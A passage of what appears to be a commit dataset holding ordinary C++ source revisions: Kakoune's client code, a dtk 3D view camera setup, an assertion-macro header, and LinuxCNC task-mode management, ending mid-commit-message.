\"hash_map.hh\"\n\n#include <csignal>\n#include <unistd.h>\n\n#include <utility>\n\nnamespace Kakoune\n{\n\nClient::Client(std::unique_ptr<UserInterface>&& ui,\n               std::unique_ptr<Window>&& window,\n               SelectionList selections, int pid,\n               EnvVarMap env_vars,\n               String name,\n               OnExitCallback on_exit)\n    : m_ui{std::move(ui)}, m_window{std::move(window)},\n      m_pid{pid},\n      m_on_exit{std::move(on_exit)},\n      m_input_handler{std::move(selections), Context::Flags::None,\n                      std::move(name)},\n      m_env_vars(std::move(env_vars))\n{\n    m_window->set_client(this);\n\n    context().set_client(*this);\n    context().set_window(*m_window);\n\n    m_window->set_dimensions(m_ui->dimensions());\n    m_window->options().register_watcher(*this);\n\n    m_ui->set_ui_options(m_window->options()[\"ui_options\"].get<UserInterface::Options>());\n    m_ui->set_on_key([this](Key key) {\n        if (key == ctrl('c'))\n            killpg(getpgrp(), SIGINT);\n        else if (key.modifiers & Key::Modifiers::Resize)\n        {\n            m_window->set_dimensions(key.coord());\n            force_redraw();\n        }\n        else\n            m_pending_keys.push_back(key);\n    });\n\n    m_window->hooks().run_hook(\"WinDisplay\", m_window->buffer().name(), context());\n\n    force_redraw();\n}\n\nClient::~Client()\n{\n    m_window->options().unregister_watcher(*this);\n    m_window->set_client(nullptr);\n    \/\/ Do not move the selections here, as we need them to be valid\n    \/\/ in order to correctly destroy the input handler\n    ClientManager::instance().add_free_window(std::move(m_window),\n                                              context().selections());\n}\n\nbool Client::is_ui_ok() const\n{\n    return m_ui->is_ok();\n}\n\nbool Client::process_pending_inputs()\n{\n    const bool debug_keys = (bool)(context().options()[\"debug\"].get<DebugFlags>() & DebugFlags::Keys);\n    \/\/ steal keys as we might receive new keys while handling them.\n    Vector<Key, MemoryDomain::Client> keys = std::move(m_pending_keys);\n    for (auto& key : keys)\n    {\n        try\n        {\n            if (debug_keys)\n                write_to_debug_buffer(format(\"Client '{}' got key '{}'\",\n                                             context().name(), key_to_str(key)));\n\n            if (key == Key::FocusIn)\n                context().hooks().run_hook(\"FocusIn\", context().name(), context());\n            else if (key == Key::FocusOut)\n                context().hooks().run_hook(\"FocusOut\", context().name(), context());\n            else\n                m_input_handler.handle_key(key);\n\n            context().hooks().run_hook(\"RawKey\", key_to_str(key), context());\n        }\n        catch (Kakoune::runtime_error& error)\n        {\n            write_to_debug_buffer(format(\"Error: {}\", error.what()));\n            context().print_status({ fix_atom_text(error.what().str()),\n                                     context().faces()[\"Error\"] });\n            context().hooks().run_hook(\"RuntimeError\", error.what(), context());\n        }\n    }\n    return not keys.empty();\n}\n\nvoid Client::print_status(DisplayLine status_line)\n{\n    m_status_line = std::move(status_line);\n    m_ui_pending |= StatusLine;\n}\n\n\nDisplayCoord Client::dimensions() const\n{\n    return m_ui->dimensions();\n}\n\nString generate_context_info(const Context& context)\n{\n    String s = \"\";\n    if (context.buffer().is_modified())\n        s += \"[+]\";\n    if (context.client().input_handler().is_recording())\n        s += format(\"[recording ({})]\", context.client().input_handler().recording_reg());\n    if (context.hooks_disabled())\n        s += \"[no-hooks]\";\n    if (not(context.buffer().flags() & (Buffer::Flags::File | Buffer::Flags::Debug)))\n        s += \"[scratch]\";\n    if (context.buffer().flags() & Buffer::Flags::New)\n        s += \"[new file]\";\n    if (context.buffer().flags() & Buffer::Flags::Fifo)\n        s += \"[fifo]\";\n    if (context.buffer().flags() & Buffer::Flags::Debug)\n        s += \"[debug]\";\n    return s;\n}\n\nDisplayLine Client::generate_mode_line() const\n{\n    DisplayLine modeline;\n    try\n    {\n        const String& modelinefmt = context().options()[\"modelinefmt\"].get<String>();\n        HashMap<String, DisplayLine> atoms{{ \"mode_info\", context().client().input_handler().mode_line() },\n                                           { \"context_info\", {generate_context_info(context()),\n                                                              context().faces()[\"Information\"]}}};\n        auto expanded = expand(modelinefmt, context(), ShellContext{},\n                               [](String s) { return escape(s, '{', '\\\\'); });\n        modeline = parse_display_line(expanded, context().faces(), atoms);\n    }\n    catch (runtime_error& err)\n    {\n        write_to_debug_buffer(format(\"Error while parsing modelinefmt: {}\", err.what()));\n        modeline.push_back({ \"modelinefmt error, see *debug* buffer\", context().faces()[\"Error\"] });\n    }\n\n    return modeline;\n}\n\nvoid Client::change_buffer(Buffer& buffer)\n{\n    if (m_buffer_reload_dialog_opened)\n        close_buffer_reload_dialog();\n\n    auto* current = &m_window->buffer();\n    m_last_buffer = contains(BufferManager::instance(), current) ? current : nullptr;\n\n    auto& client_manager = ClientManager::instance();\n    m_window->options().unregister_watcher(*this);\n    m_window->set_client(nullptr);\n\n    WindowAndSelections ws = client_manager.get_free_window(buffer);\n    client_manager.add_free_window(std::move(m_window),\n                                   std::move(context().selections()));\n    m_window = std::move(ws.window);\n    m_window->set_client(this);\n    m_window->options().register_watcher(*this);\n    m_ui->set_ui_options(m_window->options()[\"ui_options\"].get<UserInterface::Options>());\n\n    context().selections_write_only() = std::move(ws.selections);\n    context().set_window(*m_window);\n    m_window->set_dimensions(m_ui->dimensions());\n\n    m_window->hooks().run_hook(\"WinDisplay\", buffer.name(), context());\n    force_redraw();\n}\n\nstatic bool is_inline(InfoStyle style)\n{\n    return style == InfoStyle::Inline or\n           style == InfoStyle::InlineAbove or\n           style == InfoStyle::InlineBelow;\n}\n\nvoid Client::redraw_ifn()\n{\n    Window& window = context().window();\n    if (window.needs_redraw(context()))\n        m_ui_pending |= Draw;\n\n    DisplayLine mode_line = generate_mode_line();\n    if (mode_line.atoms() != m_mode_line.atoms())\n    {\n        m_ui_pending |= StatusLine;\n        m_mode_line = std::move(mode_line);\n    }\n\n    if (m_ui_pending == 0)\n        return;\n\n    auto& faces = context().faces();\n\n    if (m_ui_pending & Draw)\n        m_ui->draw(window.update_display_buffer(context()),\n                   faces[\"Default\"], faces[\"BufferPadding\"]);\n\n    const bool update_menu_anchor = (m_ui_pending & Draw) and not (m_ui_pending & MenuHide) and\n                                    not m_menu.items.empty() and m_menu.style == MenuStyle::Inline;\n    if ((m_ui_pending & MenuShow) or update_menu_anchor)\n    {\n        auto anchor = m_menu.style == MenuStyle::Inline ?\n            window.display_position(m_menu.anchor) : DisplayCoord{};\n        if (not (m_ui_pending & MenuShow) and m_menu.ui_anchor != anchor)\n            m_ui_pending |= anchor ? (MenuShow | MenuSelect) : MenuHide;\n        m_menu.ui_anchor = anchor;\n    }\n\n    if (m_ui_pending & MenuShow and m_menu.ui_anchor)\n        m_ui->menu_show(m_menu.items, *m_menu.ui_anchor,\n                        faces[\"MenuForeground\"], faces[\"MenuBackground\"],\n                        m_menu.style);\n    if (m_ui_pending & MenuSelect and m_menu.ui_anchor)\n        m_ui->menu_select(m_menu.selected);\n    if (m_ui_pending & MenuHide)\n        m_ui->menu_hide();\n\n    const bool update_info_anchor = (m_ui_pending & Draw) and not (m_ui_pending & InfoHide) and\n                                    not m_info.content.empty() and is_inline(m_info.style);\n    if ((m_ui_pending & InfoShow) or update_info_anchor)\n    {\n        auto anchor = is_inline(m_info.style) ?\n             window.display_position(m_info.anchor) : DisplayCoord{};\n        if (not (m_ui_pending & MenuShow) and m_info.ui_anchor != anchor)\n            m_ui_pending |= anchor ? InfoShow : InfoHide;\n        m_info.ui_anchor = anchor;\n    }\n\n    if (m_ui_pending & InfoShow and m_info.ui_anchor)\n        m_ui->info_show(m_info.title, m_info.content, *m_info.ui_anchor,\n                        faces[\"Information\"], m_info.style);\n    if (m_ui_pending & InfoHide)\n        m_ui->info_hide();\n\n    if (m_ui_pending & StatusLine)\n        m_ui->draw_status(m_status_line, m_mode_line, faces[\"StatusLine\"]);\n\n    auto cursor = m_input_handler.get_cursor_info();\n    m_ui->set_cursor(cursor.first, cursor.second);\n\n    m_ui->refresh(m_ui_pending | Refresh);\n    m_ui_pending = 0;\n}\n\nvoid Client::force_redraw()\n{\n    m_ui_pending |= Refresh | Draw | StatusLine |\n        (m_menu.items.empty() ? MenuHide : MenuShow | MenuSelect) |\n        (m_info.content.empty() ? InfoHide : InfoShow);\n}\n\nvoid Client::reload_buffer()\n{\n    Buffer& buffer = context().buffer();\n    try\n    {\n        reload_file_buffer(buffer);\n        context().print_status({ format(\"'{}' reloaded\", buffer.display_name()),\n                                 context().faces()[\"Information\"] });\n\n        m_window->hooks().run_hook(\"BufReload\", buffer.name(), context());\n    }\n    catch (runtime_error& error)\n    {\n        context().print_status({ format(\"error while reloading buffer: '{}'\", error.what()),\n                                 context().faces()[\"Error\"] });\n        buffer.set_fs_timestamp(get_fs_timestamp(buffer.name()));\n    }\n}\n\nvoid Client::on_buffer_reload_key(Key key)\n{\n    auto& buffer = context().buffer();\n\n    auto set_autoreload = [this](Autoreload autoreload) {\n        auto* option = &context().options()[\"autoreload\"];\n        \/\/ Do not touch global autoreload, set it at least at buffer level\n        if (&option->manager() == &GlobalScope::instance().options())\n            option = &context().buffer().options().get_local_option(\"autoreload\");\n        option->set(autoreload);\n    };\n\n    if (key == 'y' or key == 'Y' or key == Key::Return)\n    {\n        reload_buffer();\n        if (key == 'Y')\n            set_autoreload(Autoreload::Yes);\n    }\n    else if (key == 'n' or key == 'N' or key == Key::Escape)\n    {\n        \/\/ reread timestamp in case the file was modified again\n        buffer.set_fs_timestamp(get_fs_timestamp(buffer.name()));\n        print_status({ format(\"'{}' kept\", buffer.display_name()),\n                       context().faces()[\"Information\"] });\n        if (key == 'N')\n            set_autoreload(Autoreload::No);\n    }\n    else\n    {\n        print_status({ format(\"'{}' is not a valid choice\", key_to_str(key)),\n                       context().faces()[\"Error\"] });\n        m_input_handler.on_next_key(KeymapMode::None, [this](Key key, Context&){ on_buffer_reload_key(key); });\n        return;\n    }\n\n    for (auto& client : ClientManager::instance())\n    {\n        if (&client->context().buffer() == &buffer and\n            client->m_buffer_reload_dialog_opened)\n            client->close_buffer_reload_dialog();\n    }\n}\n\nvoid Client::close_buffer_reload_dialog()\n{\n    kak_assert(m_buffer_reload_dialog_opened);\n    \/\/ Reset first as this might check for reloading.\n    m_input_handler.reset_normal_mode();\n    m_buffer_reload_dialog_opened = false;\n    info_hide(true);\n}\n\nvoid Client::check_if_buffer_needs_reloading()\n{\n    if (m_buffer_reload_dialog_opened)\n        return;\n\n    Buffer& buffer = context().buffer();\n    auto reload = context().options()[\"autoreload\"].get<Autoreload>();\n    if (not (buffer.flags() & Buffer::Flags::File) or reload == Autoreload::No)\n        return;\n\n    const String& filename = buffer.name();\n    timespec ts = get_fs_timestamp(filename);\n    if (ts == InvalidTime or ts == buffer.fs_timestamp())\n        return;\n    if (reload == Autoreload::Ask)\n    {\n        StringView bufname = buffer.display_name();\n        info_show(format(\"reload '{}' ?\", bufname),\n                  format(\"'{}' was modified externally\\n\"\n                         \" y, <ret>: reload | n, <esc>: keep\\n\"\n                         \" Y: always reload | N: always keep\\n\",\n                         bufname), {}, InfoStyle::Modal);\n\n        m_buffer_reload_dialog_opened = true;\n        m_input_handler.on_next_key(KeymapMode::None, [this](Key key, Context&){ on_buffer_reload_key(key); });\n    }\n    else\n        reload_buffer();\n}\n\nStringView Client::get_env_var(StringView name) const\n{\n    auto it = m_env_vars.find(name);\n    if (it == m_env_vars.end())\n        return {};\n    return it->value;\n}\n\nvoid Client::on_option_changed(const Option& option)\n{\n    if (option.name() == \"ui_options\")\n    {\n        m_ui->set_ui_options(option.get<UserInterface::Options>());\n        m_ui_pending |= Draw;\n    }\n}\n\nvoid Client::menu_show(Vector<DisplayLine> choices, BufferCoord anchor, MenuStyle style)\n{\n    m_menu = Menu{ std::move(choices), anchor, {}, style, -1 };\n    m_ui_pending |= MenuShow;\n    m_ui_pending &= ~MenuHide;\n}\n\nvoid Client::menu_select(int selected)\n{\n    m_menu.selected = selected;\n    m_ui_pending |= MenuSelect;\n    m_ui_pending &= ~MenuHide;\n}\n\nvoid Client::menu_hide()\n{\n    m_menu = Menu{};\n    m_ui_pending |= MenuHide;\n    m_ui_pending &= ~(MenuShow | MenuSelect);\n}\n\nvoid Client::info_show(String title, String content, BufferCoord anchor, InfoStyle style)\n{\n    if (m_info.style == InfoStyle::Modal) \/\/ We already have a modal info opened, do not touch it.\n        return;\n\n    m_info = Info{ std::move(title), std::move(content), anchor, {}, style };\n    m_ui_pending |= InfoShow;\n    m_ui_pending &= ~InfoHide;\n}\n\nvoid Client::info_hide(bool even_modal)\n{\n    if (not even_modal and m_info.style == InfoStyle::Modal)\n        return;\n\n    m_info = Info{};\n    m_ui_pending |= InfoHide;\n    m_ui_pending &= ~InfoShow;\n}\n\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>fix bug in setting min file size for logger<commit_after><|endoftext|>"}
{"text":"<commit_before>\/* dtk3DView.cpp ---\n * \n * Author: Julien Wintz\n * Created: Fri Mar 22 09:41:43 2013 (+0100)\n * Version: \n * Last-Updated: Mon Mar 25 17:29:47 2013 (+0100)\n *           By: Julien Wintz\n *     Update #: 32\n *\/\n\n\/* Change Log:\n * \n *\/\n\n#include \"dtk3DView.h\"\n#include \"dtk3DScene.h\"\n\n#include <QtGui>\n\nclass dtk3DViewPrivate\n{\npublic:\n    dtk3DScene *scene;\n};\n\ndtk3DView::dtk3DView(QWindow *parent) : QGLView(parent), d(new dtk3DViewPrivate)\n{\n    d->scene = NULL;\n\n    this->setOption(QGLView::ObjectPicking, true);\n}\n\ndtk3DView::~dtk3DView(void)\n{\n    delete d;\n\n    d = NULL;\n}\n\nvoid dtk3DView::setScene(dtk3DScene *scene)\n{\n    d->scene = scene;\n}\n\nvoid dtk3DView::initializeGL(QGLPainter *painter)\n{\n    if (d->scene)\n\td->scene->initialize(this, painter);\n\n    QGLView::initializeGL(painter);\n}\n\nvoid dtk3DView::paintGL(QGLPainter *painter)\n{\n    painter->setStandardEffect(QGL::LitMaterial);\n    painter->setFaceColor(QGL::AllFaces, QColor(170, 202, 0));\n\n    if (d->scene)\n\td->scene->paint(this, painter);\n\n    QGLView::paintGL(painter);\n}\n\nvoid dtk3DView::keyPressEvent(QKeyEvent *event)\n{\n    if (event->key() == Qt::Key_Tab) {\n        this->setOption(QGLView::ShowPicking, ((this->options() & QGLView::ShowPicking) == 0));\n        this->update();\n    }\n\n    QGLView::keyPressEvent(event);\n}\n<commit_msg>Do not set a default material for objects in view. Handle scene viewing in initialization.<commit_after>\/* dtk3DView.cpp ---\n * \n * Author: Julien Wintz\n * Created: Fri Mar 22 09:41:43 2013 (+0100)\n * Version: \n * Last-Updated: Wed Mar 27 15:33:56 2013 (+0100)\n *           By: Julien Wintz\n *     Update #: 42\n *\/\n\n\/* Change Log:\n * \n *\/\n\n#include \"dtk3DView.h\"\n#include \"dtk3DScene.h\"\n\n#include <QtGui>\n\nclass dtk3DViewPrivate\n{\npublic:\n    dtk3DScene *scene;\n};\n\ndtk3DView::dtk3DView(QWindow *parent) : QGLView(parent), d(new dtk3DViewPrivate)\n{\n    d->scene = NULL;\n\n    this->setOption(QGLView::ObjectPicking, true);\n}\n\ndtk3DView::~dtk3DView(void)\n{\n    delete d;\n\n    d = NULL;\n}\n\nvoid dtk3DView::setScene(dtk3DScene *scene)\n{\n    d->scene = scene;\n}\n\nvoid dtk3DView::initializeGL(QGLPainter *painter)\n{\n    if (d->scene)\n\td->scene->initialize(this, painter);\n\n    QGLView::initializeGL(painter);\n\n    if (d->scene) {\n\tthis->camera()->setEye(QVector3D(0, 0, d->scene->boundingBox().size().length()*4));\n\tthis->camera()->setCenter(d->scene->boundingBox().center());\n    }\n}\n\nvoid dtk3DView::paintGL(QGLPainter *painter)\n{\n    if (d->scene)\n\td->scene->paint(this, painter);\n\n    QGLView::paintGL(painter);\n}\n\nvoid dtk3DView::keyPressEvent(QKeyEvent *event)\n{\n    if (event->key() == Qt::Key_Tab) {\n        this->setOption(QGLView::ShowPicking, ((this->options() & QGLView::ShowPicking) == 0));\n        this->update();\n    }\n\n    QGLView::keyPressEvent(event);\n}\n<|endoftext|>"}
{"text":"<commit_before>#pragma once\n\n#include <cstdlib>\n#include <cstdio>\n#include <sstream>\n\n#ifdef __GNUC__\n#define DUKE_LIKELY(x) (__builtin_expect((x), 1))\n#define DUKE_UNLIKELY(x) (__builtin_expect((x), 0))\n#else\n#define DUKE_LIKELY(x) (x)\n#define DUKE_UNLIKELY(x) (x)\n#endif\n\n#define TRACE_MSG(X) fprintf(stderr, \"CHECK FAILED '\" #X \"' in %s() [%s:%d]\\n\", __func__, __FILE__, __LINE__)\n\nstruct Tracer {\n  Tracer(const char* cond, const char* func, const char* file, const int line) {\n    msg << \"CHECK FAILED '\" << cond << \"' in \" << func << \"() [\" << file << \":\" << line << \"] \";\n  }\n  std::ostream& getStream() { return msg; }\n  ~Tracer() {\n    fprintf(stderr, \"%s\\n\", msg.str().c_str());\n    abort();\n  }\n\n private:\n  std::ostringstream msg;\n};\n\n#define CHECK(X) \\\n  if (DUKE_UNLIKELY(!(X))) Tracer(#X, __func__, __FILE__, __LINE__).getStream()\n<commit_msg>Adding check not null<commit_after>#pragma once\n\n#include <cstdlib>\n#include <cstdio>\n#include <sstream>\n\n#ifdef __GNUC__\n#define DUKE_LIKELY(x) (__builtin_expect((x), 1))\n#define DUKE_UNLIKELY(x) (__builtin_expect((x), 0))\n#else\n#define DUKE_LIKELY(x) (x)\n#define DUKE_UNLIKELY(x) (x)\n#endif\n\n#define LOG_FATAL(COND,FUNC,FILE,LINE) fprintf(stderr, \"CHECK FAILED '%s' in %s() [%s:%d]\\n\", COND, FUNC, FILE, LINE); abort();\n#define TRACE_MSG(X) fprintf(stderr, \"CHECK FAILED '\" #X \"' in %s() [%s:%d]\\n\", __func__, __FILE__, __LINE__)\n\nstruct Tracer {\n  Tracer(const char* cond, const char* func, const char* file, const int line) {\n    msg << \"CHECK FAILED '\" << cond << \"' in \" << func << \"() [\" << file << \":\" << line << \"] \";\n  }\n\n  std::ostream& getStream() { return msg; }\n  ~Tracer() {\n    fprintf(stderr, \"%s\\n\", msg.str().c_str());\n    abort();\n  }\n\n private:\n  std::ostringstream msg;\n};\n\n#define CHECK(X) \\\n  if (DUKE_UNLIKELY(!(X))) Tracer(#X, __func__, __FILE__, __LINE__).getStream()\n\ntemplate<typename T>\ninline T& _checkNotNull(const char* cond, const char* func, const char* file, const int line, T& ptr){ if (DUKE_UNLIKELY(!ptr)) LOG_FATAL(cond, func, file, line); return ptr; }\n\n#define CHECK_NOTNULL(X) \\\n    _checkNotNull(#X \" must not be nullptr\", __func__, __FILE__, __LINE__, X)\n<|endoftext|>"}
{"text":"<commit_before>\/********************************************************************\n* Description: emctask.cc\n*   Mode and state management for EMC_TASK class\n*\n*   Derived from a work by Fred Proctor & Will Shackleford\n*\n* Author:\n* License: GPL Version 2\n* System: Linux\n*    \n* Copyright (c) 2004 All rights reserved.\n*\n* Last change:\n* $Revision$\n* $Author$\n* $Date$\n********************************************************************\/\n\n#include <stdlib.h>\n#include <string.h>\t\t\/\/ strncpy()\n#include <sys\/stat.h>\t\t\/\/ struct stat\n#include <unistd.h>\t\t\/\/ stat()\n\n#include \"rcs.hh\"\t\t\/\/ INIFILE\n#include \"emc.hh\"\t\t\/\/ EMC NML\n#include \"emcglb.h\"\t\t\/\/ EMC_INIFILE\n#include \"interpl.hh\"\t\t\/\/ NML_INTERP_LIST, interp_list\n#include \"canon.hh\"\t\t\/\/ CANON_VECTOR, GET_PROGRAM_ORIGIN()\n#include \"rs274ngc.hh\"\t\t\/\/ the interpreter\n#include \"interp_return.hh\"\t\/\/ INTERP_FILE_NOT_OPEN\n\n\/* flag for how we want to interpret traj coord mode, as mdi or auto *\/\nstatic int mdiOrAuto = EMC_TASK_MODE_AUTO;\n\nInterp interp;\n\n\/\/ EMC_TASK interface\n\n\/*\n  format string for user-defined programs, e.g., \"programs\/M1%02d\" means\n  user-defined programs are in the programs\/ directory and are named\n  M1XX, where XX is a two-digit string.\n*\/\n\nstatic char user_defined_fmt[EMC_SYSTEM_CMD_LEN] = \"nc_files\/M1%02d\";\n\nstatic void user_defined_add_m_code(int num, double arg1, double arg2)\n{\n    char fmt[EMC_SYSTEM_CMD_LEN];\n    EMC_SYSTEM_CMD system_cmd;\n\n    strcpy(fmt, user_defined_fmt);\n    strcat(fmt, \" %f %f\");\n    sprintf(system_cmd.string, fmt, num, arg1, arg2);\n    interp_list.append(system_cmd);\n}\n\nint emcTaskInit()\n{\n    int index;\n    char path[EMC_SYSTEM_CMD_LEN];\n    struct stat buf;\n    Inifile inifile;\n    const char *inistring;\n\n    \/\/ read out directory where programs are located\n    inifile.open(EMC_INIFILE);\n    inistring = inifile.find(\"PROGRAM_PREFIX\", \"DISPLAY\");\n    inifile.close();\n\n    \/\/ if we have a program prefix, override the default user_defined_fmt\n    \/\/ string with program prefix, then \"M1%02d\", e.g.\n    \/\/ nc_files\/M101, where the %%02d means 2 digits after the M code\n    \/\/ and we need two % to get the literal %\n    if (NULL != inistring) {\n\tsprintf(user_defined_fmt, \"%sM1%%02d\", inistring);\n    }\n\n    \/* check for programs named programs\/M100 .. programs\/M199 and add\n       any to the user defined functions list *\/\n    for (index = 0; index < USER_DEFINED_FUNCTION_NUM; index++) {\n\tsprintf(path, user_defined_fmt, index);\n\tif (0 == stat(path, &buf)) {\n\t    if (buf.st_mode & S_IXUSR) {\n\t\tUSER_DEFINED_FUNCTION_ADD(user_defined_add_m_code, index);\n\t\tif (EMC_DEBUG & EMC_DEBUG_CONFIG) {\n\t\t    rcs_print\n\t\t\t(\"emcTaskInit: adding user-defined function %s\\n\",\n\t\t\t path);\n\t\t}\n\t    } else {\n\t\tif (EMC_DEBUG & EMC_DEBUG_CONFIG) {\n\t\t    rcs_print\n\t\t\t(\"emcTaskInit: user-defined function %s found, but not executable, so ignoring\\n\",\n\t\t\t path);\n\t\t}\n\t    }\n\t}\n    }\n\n    return 0;\n}\n\nint emcTaskHalt()\n{\n    return 0;\n}\n\nint emcTaskAbort()\n{\n    emcMotionAbort();\n    emcIoAbort();\n\n    return 0;\n}\n\nint emcTaskSetMode(int mode)\n{\n    int retval = 0;\n\n    switch (mode) {\n    case EMC_TASK_MODE_MANUAL:\n\t\/\/ go to manual mode\n\temcTrajSetMode(EMC_TRAJ_MODE_FREE);\n\tmdiOrAuto = EMC_TASK_MODE_AUTO;\t\/\/ we'll default back to here\n\tbreak;\n\n    case EMC_TASK_MODE_MDI:\n\t\/\/ go to mdi mode\n\temcTrajSetMode(EMC_TRAJ_MODE_COORD);\n\temcTaskPlanSynch();\n\tmdiOrAuto = EMC_TASK_MODE_MDI;\n\tbreak;\n\n    case EMC_TASK_MODE_AUTO:\n\t\/\/ go to auto mode\n\temcTrajSetMode(EMC_TRAJ_MODE_COORD);\n\temcTaskPlanSynch();\n\tmdiOrAuto = EMC_TASK_MODE_AUTO;\n\tbreak;\n\n    default:\n\tretval = -1;\n\tbreak;\n    }\n\n    return retval;\n}\n\nint emcTaskSetState(int state)\n{\n    int t;\n    int retval = 0;\n\n    switch (state) {\n    case EMC_TASK_STATE_OFF:\n\t\/\/ turn the machine servos off-- go into READY state\n\tfor (t = 0; t < emcStatus->motion.traj.axes; t++) {\n\t    emcAxisDisable(t);\n\t}\n\temcTrajDisable();\n\temcLubeOff();\n\tbreak;\n\n    case EMC_TASK_STATE_ON:\n\t\/\/ turn the machine servos on\n\temcTrajEnable();\n\tfor (t = 0; t < emcStatus->motion.traj.axes; t++) {\n\t    emcAxisEnable(t);\n\t}\n\temcLubeOn();\n\tbreak;\n\n    case EMC_TASK_STATE_ESTOP_RESET:\n\t\/\/ reset the estop\n\temcAuxEstopOff();\n\temcLubeOff();\n\tbreak;\n\n    case EMC_TASK_STATE_ESTOP:\n\t\/\/ go into estop-- do both IO estop and machine servos off\n\temcAuxEstopOn();\n\tfor (t = 0; t < emcStatus->motion.traj.axes; t++) {\n\t    emcAxisDisable(t);\n\t}\n\temcTrajDisable();\n\temcLubeOff();\n\tbreak;\n\n    default:\n\tretval = -1;\n\tbreak;\n    }\n\n    return retval;\n}\n\n\/\/ WM access functions\n\n\/*\n  determineMode()\n\n  Looks at mode of subsystems, and returns associated mode\n\n  Depends on traj mode, and mdiOrAuto flag\n\n  traj mode   mdiOrAuto     mode\n  ---------   ---------     ----\n  FREE        XXX           MANUAL\n  COORD       MDI           MDI\n  COORD       AUTO          AUTO\n  *\/\nstatic int determineMode()\n{\n    \/\/ if traj is in free mode, then we're in manual mode\n    if (emcStatus->motion.traj.mode == EMC_TRAJ_MODE_FREE ||\n\temcStatus->motion.traj.mode == EMC_TRAJ_MODE_TELEOP) {\n\treturn EMC_TASK_MODE_MANUAL;\n    }\n    \/\/ else traj is in coord mode-- we can be in either mdi or auto\n    return mdiOrAuto;\n}\n\n\/*\n  determineState()\n\n  Looks at state of subsystems, and returns associated state\n\n  Depends on traj enabled, io estop, and desired task state\n\n  traj enabled   io estop      state\n  ------------   --------      -----\n  DISABLED       ESTOP         ESTOP\n  ENABLED        ESTOP         ESTOP\n  DISABLED       OUT OF ESTOP  ESTOP_RESET\n  ENABLED        OUT OF ESTOP  ON\n  *\/\nstatic int determineState()\n{\n    if (emcStatus->io.aux.estop) {\n\treturn EMC_TASK_STATE_ESTOP;\n    }\n\n    if (!emcStatus->motion.traj.enabled) {\n\treturn EMC_TASK_STATE_ESTOP_RESET;\n    }\n\n    return EMC_TASK_STATE_ON;\n}\n\nstatic int waitFlag = 0;\n\nstatic char interp_error_text_buf[LINELEN];\nstatic char interp_stack_buf[LINELEN];\n\nstatic void print_interp_error(int retval)\n{\n    int index = 0;\n    if (retval == 0) {\n\treturn;\n    }\n\n    if (0 != emcStatus) {\n\temcStatus->task.interpreter_errcode = retval;\n    }\n\n    interp_error_text_buf[0] = 0;\n    interp.error_text(retval, interp_error_text_buf, LINELEN);\n    if (0 != interp_error_text_buf[0]) {\n\trcs_print_error(\"interp_error: %s\\n\", interp_error_text_buf);\n    }\n    emcOperatorError(0, interp_error_text_buf);\n    index = 0;\n    if (EMC_DEBUG & EMC_DEBUG_INTERP) {\n\trcs_print(\"Interpreter stack: \\t\");\n\twhile (index < 5) {\n\t    interp_stack_buf[0] = 0;\n\t    interp.stack_name(index, interp_stack_buf, LINELEN);\n\t    if (0 == interp_stack_buf[0]) {\n\t\tbreak;\n\t    }\n\t    rcs_print(\" - %s \", interp_stack_buf);\n\t    index++;\n\t}\n\trcs_print(\"\\n\");\n    }\n}\n\nint emcTaskPlanInit()\n{\n    interp.ini_load(EMC_INIFILE);\n    waitFlag = 0;\n\n    int retval = interp.init();\n    if (retval > INTERP_MIN_ERROR) {\n\tprint_interp_error(retval);\n    } else {\n\tif (0 != RS274NGC_STARTUP_CODE[0]) {\n\t    retval = interp.execute(RS274NGC_STARTUP_CODE);\n\t    if (retval > INTERP_MIN_ERROR) {\n\t\tprint_interp_error(retval);\n\t    }\n\t}\n    }\n    return retval;\n}\n\nint emcTaskPlanSetWait()\n{\n    waitFlag = 1;\n\n    return 0;\n}\n\nint emcTaskPlanIsWait()\n{\n    return waitFlag;\n}\n\nint emcTaskPlanClearWait()\n{\n    waitFlag = 0;\n\n    return 0;\n}\n\nint emcTaskPlanSynch()\n{\n    return interp.synch();\n}\n\nint emcTaskPlanExit()\n{\n    return interp.exit();\n}\n\nint emcTaskPlanOpen(const char *file)\n{\n    if (emcStatus != 0) {\n\temcStatus->task.motionLine = 0;\n\temcStatus->task.currentLine = 0;\n\temcStatus->task.readLine = 0;\n    }\n\n    int retval = interp.open(file);\n    if (retval > INTERP_MIN_ERROR) {\n\tprint_interp_error(retval);\n\treturn retval;\n    }\n    taskplanopen = 1;\n    return retval;\n}\n\nint emcTaskPlanRead()\n{\n    int retval = interp.read();\n    if (retval == INTERP_FILE_NOT_OPEN) {\n\tif (emcStatus->task.file[0] != 0) {\n\t    retval = interp.open(emcStatus->task.file);\n\t    if (retval > INTERP_MIN_ERROR) {\n\t\tprint_interp_error(retval);\n\t    }\n\t    retval = interp.read();\n\t}\n    }\n    if (retval > INTERP_MIN_ERROR) {\n\tprint_interp_error(retval);\n    }\n    return retval;\n}\n\nint emcTaskPlanExecute(const char *command)\n{\n    int inpos = emcStatus->motion.traj.inpos;\t\/\/ 1 if in position, 0 if not.\n\n    if (command != 0) {\t\t\/\/ Command is 0 if in AUTO mode, non-null if in MDI mode.\n\t\/\/ Don't sync if not in position.\n\tif ((*command != 0) && (inpos)) {\n\t    interp.synch();\n\t}\n    }\n    int retval = interp.execute(command);\n    if (retval > INTERP_MIN_ERROR) {\n\tprint_interp_error(retval);\n    }\n    return retval;\n}\n\nint emcTaskPlanClose()\n{\n    int retval = interp.close();\n    if (retval > INTERP_MIN_ERROR) {\n\tprint_interp_error(retval);\n    }\n\n    taskplanopen = 0;\n    return retval;\n}\n\nint emcTaskPlanLine()\n{\n    return interp.line();\n}\n\nint emcTaskPlanCommand(char *cmd)\n{\n    char buf[LINELEN];\n\n    strcpy(cmd, interp.command(buf, LINELEN));\n    return 0;\n}\n\nint emcTaskUpdate(EMC_TASK_STAT * stat)\n{\n    stat->mode = (enum EMC_TASK_MODE_ENUM) determineMode();\n    stat->state = (enum EMC_TASK_STATE_ENUM) determineState();\n\n    \/\/ execState set in main\n    \/\/ interpState set in main\n    if (emcStatus->motion.traj.id > 0) {\n\tstat->motionLine = emcStatus->motion.traj.id;\n    }\n    \/\/ currentLine set in main\n    \/\/ readLine set in main\n\n    char buf[LINELEN];\n    strcpy(stat->file, interp.file(buf, LINELEN));\n    \/\/ command set in main\n\n    \/\/ update active G and M codes\n    interp.active_g_codes(&stat->activeGCodes[0]);\n    interp.active_m_codes(&stat->activeMCodes[0]);\n    interp.active_settings(&stat->activeSettings[0]);\n\n    stat->heartbeat++;\n\n    return 0;\n}\n\n<commit_msg>make sure that M1xx programs are still found even when [DISPLAY]PROGRAM_PREFIX does not end with a 